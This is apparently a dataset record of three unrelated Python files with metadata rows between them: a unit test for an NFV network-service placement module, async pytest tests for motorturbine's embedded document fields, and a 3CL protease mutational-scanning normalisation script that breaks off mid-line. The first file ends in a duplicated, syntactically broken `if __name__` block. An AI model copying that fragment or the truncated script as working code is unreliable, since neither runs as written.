self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(), "vld_desc_incorrect")
def test__produce_vld_desc(self):
"""
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'latency': 150, 'jitter': 30},
{'cp_refs': ['two', 'three'], 'latency': 90, 'jitter': 30}]
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(), "vld_desc incorrect")
def test__produce_ns_desc(self):
"""
ToDo
- price list sheet with more vims than associated with session
- price list sheet with fewer vims than associated with session
- nsd with different vndfd-id-refs
- fault case scenarios with non-existing vims, non-existing vnfds
"""
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None,
pinning=None)
ns_desc = nspdf._produce_ns_desc()
# check that all expected member-vnf-index are present
vnfs = [e['vnf_id'] for e in ns_desc]
self.assertEqual(Counter(['one', 'two', 'three']), Counter(vnfs), 'vnf_id invalid')
expected_keys = ['vnf_id', 'vnf_price_per_vim']
for e in ns_desc:
# check that vnf_price_per_vim has proper values
self.assertEqual(Counter([5, 10, 30, 30]), Counter(e['vnf_price_per_vim']), 'vnf_price_per_vim invalid')
# check that no pinning directives included
self.assertEqual(Counter(expected_keys), Counter(e.keys()), 'pinning directive misplaced')
def test__produce_ns_desc_with_more_vims(self):
nsd = self._get_ut_nsd_from_file('nsd_unittest1.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(self.vim_accounts_more_vims),
self._produce_ut_vnf_test_price_list('vnf_price_list_more_vims.yaml'),
nsd=nsd,
pil_info=None,
pinning=None)
ns_desc = nspdf._produce_ns_desc()
# check that all expected member-vnf-index are present
vnfs = [e['vnf_id'] for e in ns_desc]
self.assertEqual(Counter([1, 3, 2]), Counter(vnfs), 'vnf_id invalid')
expected_keys = ['vnf_id', 'vnf_price_per_vim']
for e in ns_desc:
# check that vnf_price_per_vim has proper values
self.assertEqual(Counter([5, 10, 30, 30, 3]), Counter(e['vnf_price_per_vim']), 'vnf_price_per_vim invalid')
# check that no pinning directives included
self.assertEqual(Counter(expected_keys), Counter(e.keys()), 'pinning directive misplaced')
def test__produce_ns_desc_with_fewer_vims(self):
nsd = self._get_ut_nsd_from_file('nsd_unittest1.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(self.vim_accounts_fewer_vims),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None,
pinning=None)
ns_desc = nspdf._produce_ns_desc()
# check that all expected member-vnf-index are present
vnfs = [e['vnf_id'] for e in ns_desc]
self.assertEqual(Counter([1, 3, 2]), Counter(vnfs), 'vnf_id invalid')
expected_keys = ['vnf_id', 'vnf_price_per_vim']
for e in ns_desc:
# check that vnf_price_per_vim has proper values
self.assertEqual(Counter([5, 10, 30]), Counter(e['vnf_price_per_vim']), 'vnf_price_per_vim invalid')
# check that no pinning directives included
self.assertEqual(Counter(expected_keys), Counter(e.keys()), 'pinning directive misplaced')
def test__produce_ns_desc_w_pinning(self):
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
pinning = [{'member-vnf-index': 'two', 'vimAccountId': '331ffdec-44a8-4707-94a1-af7a292d9735'}]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None,
pinning=pinning)
ns_desc = nspdf._produce_ns_desc()
# check that all expected member-vnf-index are present
vnfs = [e['vnf_id'] for e in ns_desc]
self.assertEqual(Counter(['one', 'three', 'two']), Counter(vnfs), 'vnf_id invalid')
for e in ns_desc:
# check that vnf_price_per_vim has proper values
self.assertEqual(Counter([5, 10, 30, 30]), Counter(e['vnf_price_per_vim']), 'vnf_price_per_vim invalid')
# check that member-vnf-index 2 is pinned correctly
if e['vnf_id'] == 'two':
self.assertTrue('vim_account' in e.keys(), 'missing pinning directive')
self.assertTrue(pinning[0]['vimAccountId'] == e['vim_account'][3:].replace('_', '-'),
'invalid pinning vim-account')
else:
self.assertTrue('vim-account' not in e.keys(), 'pinning directive misplaced')
@mock.patch.object(NsPlacementDataFactory, '_produce_trp_link_characteristics_data')
@mock.patch.object(NsPlacementDataFactory, '_produce_vld_desc')
@mock.patch.object(NsPlacementDataFactory, '_produce_ns_desc')
def test_create_ns_placement_data_wo_order(self, mock_prd_ns_desc, mock_prd_vld_desc, mock_prd_trp_link_char):
"""
:return:
"""
vim_accounts_expected = [v.replace('-', '_') for v in ['vim92b056a7-38f5-438d-b8ee-3f93b3531f87',
'vim6618d412-d7fc-4eb0-a6f8-d2c258e0e900',
'vim331ffdec-44a8-4707-94a1-af7a292d9735',
'vimeda92f47-29b9-4007-9709-c1833dbfbe31']]
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=self._populate_pil_info('pil_unittest1.yaml'),
pinning=None,
order_constraints=None)
nspd = nspdf.create_ns_placement_data()
self.assertEqual(Counter(vim_accounts_expected), Counter(nspd['vim_accounts']),
"vim_accounts incorrect")
# mock1.assert_called_once() Note for python > 3.5
self.assertTrue(mock_prd_ns_desc.called, '_produce_ns_desc not called')
# mock2.assert_called_once() Note for python > 3.5
self.assertTrue(mock_prd_vld_desc.called, ' _produce_vld_desc not called')
mock_prd_trp_link_char.assert_has_calls([call('pil_latency'), call('pil_jitter'), call('pil_price')])
regexps = [r"\{.*\}", r".*'file':.*mznplacement.py", r".*'time':.*datetime.datetime\(.*\)"]
generator_data = str(nspd['generator_data'])
for regex in regexps:
self.assertRegex(generator_data, regex, "generator data invalid")
@mock.patch.object(NsPlacementDataFactory, '_produce_trp_link_characteristics_data')
@mock.patch.object(NsPlacementDataFactory, '_produce_vld_desc')
@mock.patch.object(NsPlacementDataFactory, '_produce_ns_desc')
def test_create_ns_placement_data_w_order(self, mock_prd_ns_desc, mock_prd_vld_desc,
mock_prd_trp_link_char):
"""
:return:
"""
vim_accounts_expected = [v.replace('-', '_') for v in ['vim92b056a7-38f5-438d-b8ee-3f93b3531f87',
'vim6618d412-d7fc-4eb0-a6f8-d2c258e0e900',
'vim331ffdec-44a8-4707-94a1-af7a292d9735',
'vimeda92f47-29b9-4007-9709-c1833dbfbe31']]
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=self._populate_pil_info('pil_unittest1.yaml'),
pinning=None,
order_constraints={
'vld-constraints': [{'id': 'three_vnf_constrained_nsd_vld1',
'link-constraints': {'latency': 120,
'jitter': 21}},
{'id': 'three_vnf_constrained_nsd_vld2',
'link-constraints': {'latency': 121,
'jitter': 22}}]}
)
nspd = nspdf.create_ns_placement_data()
self.assertEqual(Counter(vim_accounts_expected), Counter(nspd['vim_accounts']),
"vim_accounts incorrect")
# mock1.assert_called_once() Note for python > 3.5
self.assertTrue(mock_prd_ns_desc.called, '_produce_ns_desc not called')
# mock2.assert_called_once() Note for python > 3.5
self.assertTrue(mock_prd_vld_desc.called, ' _produce_vld_desc not called')
mock_prd_trp_link_char.assert_has_calls([call('pil_latency'), call('pil_jitter'), call('pil_price')])
regexps = [r"\{.*\}", r".*'file':.*mznplacement.py", r".*'time':.*datetime.datetime\(.*\)"]
generator_data = str(nspd['generator_data'])
for regex in regexps:
self.assertRegex(generator_data, regex, "generator data invalid")
if __name__ == "__main__":
if __name__ == '__main__':
unittest.main()
| 62.696203 | 120 | 0.53515 | 4,918 | 49,530 | 5.068117 | 0.092721 | 0.033099 | 0.031294 | 0.024875 | 0.87005 | 0.852598 | 0.835948 | 0.822869 | 0.811113 | 0.791976 | 0 | 0.08592 | 0.357319 | 49,530 | 789 | 121 | 62.775665 | 0.697097 | 0.07658 | 0 | 0.747826 | 0 | 0 | 0.22332 | 0.084997 | 0 | 0 | 0 | 0.002535 | 0.088696 | 1 | 0.062609 | false | 0.02087 | 0.013913 | 0 | 0.095652 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73cd90dc38d5d3941cfd82df154fcb2affc3dad2 | 4,691 | py | Python | tests/fields/test_document_field.py | BFriedrichs/motorturbine | a9585bef6959f8ceede2b64e4c296524f797aa68 | [
"MIT"
] | 1 | 2019-04-16T14:47:32.000Z | 2019-04-16T14:47:32.000Z | tests/fields/test_document_field.py | BFriedrichs/motorturbine | a9585bef6959f8ceede2b64e4c296524f797aa68 | [
"MIT"
] | null | null | null | tests/fields/test_document_field.py | BFriedrichs/motorturbine | a9585bef6959f8ceede2b64e4c296524f797aa68 | [
"MIT"
] | null | null | null | import pytest
from motorturbine import BaseDocument, fields, errors, connection, updateset
from pymongo import errors as pymongo_errors
@pytest.mark.asyncio
async def test_document(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.DocumentField(IntDoc)
doc1 = IntDoc(num=2)
ref_doc = EmbedDoc(ref=doc1)
await ref_doc.save()
coll = database['EmbedDoc']
saved = coll.find_one()
assert saved['ref'] == doc1.to_json()
@pytest.mark.asyncio
async def test_load_document(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.DocumentField(IntDoc)
doc1 = IntDoc(num=2)
ref_doc = EmbedDoc(ref=doc1)
await ref_doc.save()
loaded = await EmbedDoc.get_object()
assert hasattr(loaded, 'ref')
assert hasattr(loaded.ref, 'num')
assert loaded.ref.num == 2
@pytest.mark.asyncio
async def test_update_document(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.DocumentField(IntDoc)
doc1 = IntDoc(num=2)
ref_doc = EmbedDoc(ref=doc1)
await ref_doc.save()
ref_doc.ref.num = 10
await ref_doc.save()
coll = database['EmbedDoc']
saved = coll.find_one()
assert ref_doc.ref.num == 10
assert saved['ref']['num'] == 10
@pytest.mark.asyncio
async def test_load_update(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.DocumentField(IntDoc)
doc1 = IntDoc(num=2)
ref_doc = EmbedDoc(ref=doc1)
await ref_doc.save()
ref_doc.ref.num = 10
await ref_doc.save()
loaded = await EmbedDoc.get_object()
assert hasattr(loaded, 'ref')
assert hasattr(loaded.ref, 'num')
assert loaded.ref.num == 10
@pytest.mark.asyncio
async def test_map_embed(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.MapField(fields.DocumentField(IntDoc))
doc = EmbedDoc(ref={'test': IntDoc(num=5)})
await doc.save()
assert doc.ref['test'].num == 5
saved = await EmbedDoc.get_object()
assert doc.ref['test'].num == 5
doc.ref['test'].num = 10
doc.ref['test'].num = updateset.Inc(5)
await doc.save()
saved = await EmbedDoc.get_object()
assert doc.ref['test'].num == 15
@pytest.mark.asyncio
async def test_list_embed(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref = fields.ListField(fields.DocumentField(IntDoc))
doc = EmbedDoc(ref=[IntDoc(num=5), IntDoc(num=10)])
await doc.save()
assert doc.ref[0].num == 5
assert doc.ref[1].num == 10
saved = await EmbedDoc.get_object()
assert doc.ref[0].num == 5
assert doc.ref[1].num == 10
doc.ref[0].num = 10
doc.ref[0].num = updateset.Inc(5)
await doc.save()
saved = await EmbedDoc.get_object()
assert doc.ref[0].num == 15
@pytest.mark.asyncio
async def test_set_map(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref_map = fields.MapField(fields.DocumentField(IntDoc))
doc = EmbedDoc(ref_map={'a': IntDoc(num=0)})
await doc.save()
saved = await EmbedDoc.get_object()
saved.ref_map = {'another': IntDoc(num=999), 'test': IntDoc(num=-5)}
await saved.save()
saved = await EmbedDoc.get_object()
json = {'another': {'num': 999}, 'test': {'num': -5}}
assert saved.to_json()['ref_map'] == json
@pytest.mark.asyncio
async def test_set_list(db_config, database):
connection.Connection.connect(**db_config)
class IntDoc(BaseDocument):
num = fields.IntField()
class EmbedDoc(BaseDocument):
ref_lst = fields.ListField(fields.DocumentField(IntDoc))
doc = EmbedDoc(ref_lst=[IntDoc(num=5)])
await doc.save()
saved = await EmbedDoc.get_object()
saved.ref_lst = [IntDoc(num=10), IntDoc(num=11)]
await saved.save()
saved = await EmbedDoc.get_object()
json = [{'num': 10}, {'num': 11}]
assert saved.to_json()['ref_lst'] == json
| 24.432292 | 76 | 0.664251 | 610 | 4,691 | 4.996721 | 0.103279 | 0.041995 | 0.052493 | 0.072178 | 0.893701 | 0.870079 | 0.823819 | 0.797572 | 0.710958 | 0.658793 | 0 | 0.018928 | 0.200384 | 4,691 | 191 | 77 | 24.560209 | 0.793655 | 0 | 0 | 0.71875 | 0 | 0 | 0.023449 | 0 | 0 | 0 | 0 | 0 | 0.148438 | 1 | 0 | false | 0 | 0.023438 | 0 | 0.273438 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73d42734ec63ff2475c32dd0394530eca6b78484 | 37,456 | py | Python | scripts/matrix_transform.py | ChavezResearchLab/3CL_protease_DMS | 14593bdbc4586393eec6ec1d9ebbf3ef34eda44b | [
"MIT"
] | null | null | null | scripts/matrix_transform.py | ChavezResearchLab/3CL_protease_DMS | 14593bdbc4586393eec6ec1d9ebbf3ef34eda44b | [
"MIT"
] | 1 | 2021-04-13T19:27:36.000Z | 2021-04-13T19:27:36.000Z | scripts/matrix_transform.py | ChavezResearchLab/3CL_protease_DMS | 14593bdbc4586393eec6ec1d9ebbf3ef34eda44b | [
"MIT"
] | 1 | 2021-02-09T23:16:38.000Z | 2021-02-09T23:16:38.000Z | #!/Users/jennysheng/anaconda3/envs/tools/bin/python
import sys
import os
import glob
import numpy as np
import pandas as pd
import gzip
import matplotlib.pyplot as plt
from scipy import stats
from scipy.optimize import curve_fit
import itertools
from collections import Counter
import plotly.express as px
import plotly.graph_objects as go
from plotly.subplots import make_subplots
wt_full = ('MSGFRKMAFPSGKVEGCMVQVTCGTTTLNGLWLDDVVYCPRHVICT'
'SEDMLNPNYEDLLIRKSNHNFLVQAGNVQLRVIGHSMQNCVLKLKV'
'DTANPKTPKYKFVRIQPGQTFSVLACYNGSPSGVYQCAMRPNFTIK'
'GSFLNGSCGSVGFNIDYDCVSFCYMHHMELPTGVHAGTDLEGNFYG'
'PFVDRQTAQAAGTDTTITVNVLAWLYAAVINGDRWFLNRFTTTLND'
'FNLVAMKYNYEPLTQDHVDILGPLSAQTGIAVLDMCASLKELLQNG'
'MNGRTILGSALLEDEFTPFDVVRQCSGVTFQ')
def original_dist(
folder, suffix, samples, sets, res_redo,
all_sets, save = False, **kwarg):
'''
Distribution shape of original scores from screen.
_______________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
if save = True add kwarg name: file path for saving figure
'''
fig = make_subplots(
rows=5, cols=6)
layout= itertools.product(range(1,6), range(1,7))
for x, pos in list(zip(sets + res_redo, layout)):
# old replicates
if x in sets:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+str(x) + suffix, index_col = [0])
flat_list = [item for sublist in fchange.values for item in sublist]
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict(# bins for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
# new replicates single residues
elif x in res_redo:
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
sites = list(samples[samples['Set'] == str(x)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+str(x) +suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
flat_list = [item for sublist in fchange.values for item in sublist]
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
fig.update_layout(height=700, width=900,
title_text=kwarg['title'])
fig.show()
if save == True:
plotly.offline.plot(fig, filename = kwarg['name'])
def transform_sigma(folder, suffix, samples, sets, res_redo, all_sets):
'''
Takes the folder and the suffix of the files and
computes the standard deviations--scaling factors--for
all sets.
____________
Input:
folder--name of category in the sample spreadsheet that points to
folder where data are stored
suffix--suffix of the file name
Output:
list in which each element is paired. First item in pair is
the set, second is the numerical value for the standard deviation
--scaling factor--of the set.
'''
sigma_list = []
for x in all_sets:
fchange = pd.read_csv(list(samples[samples['Set']==str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
# name the columns
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist in fchange.values for item \
in sublist])
mean = flat_list[~np.isnan(flat_list)].mean() # mean of the set
var = flat_list[~np.isnan(flat_list)].var() # variance of the set
# set the variance of all set to 1
var_norm = (flat_list-mean)/np.sqrt(var)+mean
sigma_list.append([x, np.sqrt(var)])
return(sigma_list)
def transform_dist(
folder, suffix, samples,
sets, res_redo, all_sets, set21, save = False, **kwarg):
'''
Distribution shape of original scores from screen.
___________________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
if save = True add kwarg name: file path for saving figure
'''
# average value of wt
# average value of stop codon
# number of residues in set
mean_stop = {}
len_set = {}
fig = make_subplots(
rows=5, cols=6)
layout= itertools.product(range(1,6), range(1,7))
for x, pos in list(zip(sets + res_redo + set21, layout)):
if x in sets:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
# name the columns
wt_subseq = wt_full[start:end] #find WT residues for the set
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
#set average wt to 0
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
# add to dict for mean stop
mean_stop[str(x)] = np.mean(fchange.loc['*'])
len_set[str(x)] = len(fchange.columns)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = -1/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
flatten_fchange = fchange_norm.values
flat_list = np.array([item for sublist in flatten_fchange for\
item in sublist])
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
elif x in set21:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
# name the columns
wt_subseq = wt_full[start:end] #find WT residues for the set
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
#set average wt to 0
cols = fchange.columns[:2]
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
# add to dict for mean stop
mean_stop[str(x)] = np.mean(fchange.loc['*'][:2])
len_set[str(x)] = 2
stop_mean = np.mean(fchange.loc['*'][:2])
scale_factor = -1/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
flatten_fchange = fchange_norm.values
flat_list = np.array([item for sublist in flatten_fchange for\
item in sublist])
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
else: # for all individually repeated residues
set_ind = x.find('R') #identify the R notation for the repeated set
set_redo = x[:set_ind]
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(x)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
#find WT residues for the set
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
fchange = fchange-wt_mean
stop_mean = np.mean(fchange.loc['*'])
scale_factor = mean_stop[set_redo]/stop_mean
fchange_norm = fchange*scale_factor
# print(x, np.mean(wt_vals), np.var(wt_vals))
flatten_fchange = fchange_norm.values
flat_list = np.array([item for sublist in flatten_fchange for \
item in sublist])
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins used for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
fig.update_layout(height=700, width=900,
title_text=kwarg['title'])
fig.show()
if save == True:
plotly.offline.plot(fig, filename = kwarg['name'])
def transform_dist_sigma(
folder, suffix, samples,
sets, res_redo, all_sets, save = False, **kwarg):
'''
Distribution shape of original scores from screen. WT from each set
is set to 0 and variance of each set is set to 1.
___________________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
samples: dataframe of sample_spreadsheet with data specs
sets: complete sets
res_redo: residues that were individually sequenced
all_sets: all sets including those that were individually resequenced
if save = True add kwarg name: file path for saving figure
'''
# average value of wt
# average value of stop codon
# number of residues in set
mean_stop = {}
len_set = {}
fig = make_subplots(
rows=5, cols=6)
layout= itertools.product(range(1,6), range(1,7))
for x, pos in list(zip(sets + res_redo, layout)):
if x in sets:
fchange = pd.read_csv(list(samples[samples['Set']\
==str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
# name the columns
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist in
fchange.values for item in sublist])
mean = flat_list[~np.isnan(flat_list)].mean() # mean of the set
var = flat_list[~np.isnan(flat_list)].var() # variance of the set
# set the variance of all sets to 1
fchange_norm = (fchange-mean)/np.sqrt(var) + mean
fchange_norm.columns = ['Res '+str(x) for x
in list(range(start, end))] # name the columns
#set average wt to 0
cols = fchange_norm.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange_norm.loc[row, col])
fchange_norm = fchange_norm - np.mean(wt_vals)
# add to dict for mean stop
mean_stop[str(x)] = np.mean(fchange_norm.loc['*'])
len_set[str(x)] = len(fchange_norm.columns)
flatten_fchange = fchange_norm.values
flat_list = np.array([item for sublist in
flatten_fchange for item in sublist])
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins used for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
else: # for all individually repeated residues
set_ind = x.find('R') #identify the R notation for the repeated set
set_redo = x[:set_ind]
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(x)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']\
==str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = mean_stop[set_redo]/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
# print(x, np.mean(wt_vals), np.var(wt_vals))
flatten_fchange = fchange_norm.values
flat_list = np.array([item for sublist in\
flatten_fchange for item in sublist])
fig.add_trace(go.Histogram(x=flat_list,
xbins=dict( # bins used for histogram
start=min(flat_list),
end=max(flat_list),
size=0.25
),), row=pos[0], col=pos[1])
fig.update_layout(height=700, width=900,
title_text=kwarg['title'])
fig.show()
if save == True:
plotly.offline.plot(fig, filename = kwarg['name'])
def transform_dist_mat(folder, suffix, samples, sets, res_redo, all_sets):
'''
Distribution shape of original scores from screen.
___________________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
if save = True add kwarg name: file path for saving figure
'''
# average value of wt
# average value of stop codon
# number of residues in set
len_set = {}
df_list = []
mean_stop = {}
for x in sets + res_redo:
if x in sets:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist in fchange.values for\
item in sublist])
mean = flat_list[~np.isnan(flat_list)].mean() # mean of the set
var = flat_list[~np.isnan(flat_list)].var() # variance of the set
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
#set average wt to 0
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
mean_stop[str(x)] = np.mean(fchange.loc['*']) # add to mean stop
len_set[str(x)] = len(fchange.columns)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = 1/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
flatten_fchange = fchange_norm.values
df_list.append(fchange_norm)
else: # for all individually repeated residues
set_ind = x.find('R') #identify the R notation for the repeated set
set_redo = x[:set_ind]
start = list(samples[samples['Set'] == str(x)]['Start range'])[0]
end = list(samples[samples['Set'] == str(x)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(x)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']==\
str(x)][folder])[0]\
+ str(x) + suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
#find WT residues for the set
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = mean_stop[set_redo]/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
df_list.append(fchange_norm)
return df_list
def transform_matrix(folder, suffix, samples, sets, res_redo, all_sets, set21):
'''
Transform each set so that WT fixed at 0 and stop codon is normalized to
-1 in each set.
__________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
samples: sample spreadsheet
sets: all complete sets
res_redo: all invividually resequenced sets
all_sets: all sets
set21: set21--treated separately because of the C terminus
'''
mean_stop = {}
len_set = {}
set_list = []
for file in sets:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(file)][folder])[0]\
+str(file) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist in fchange.values\
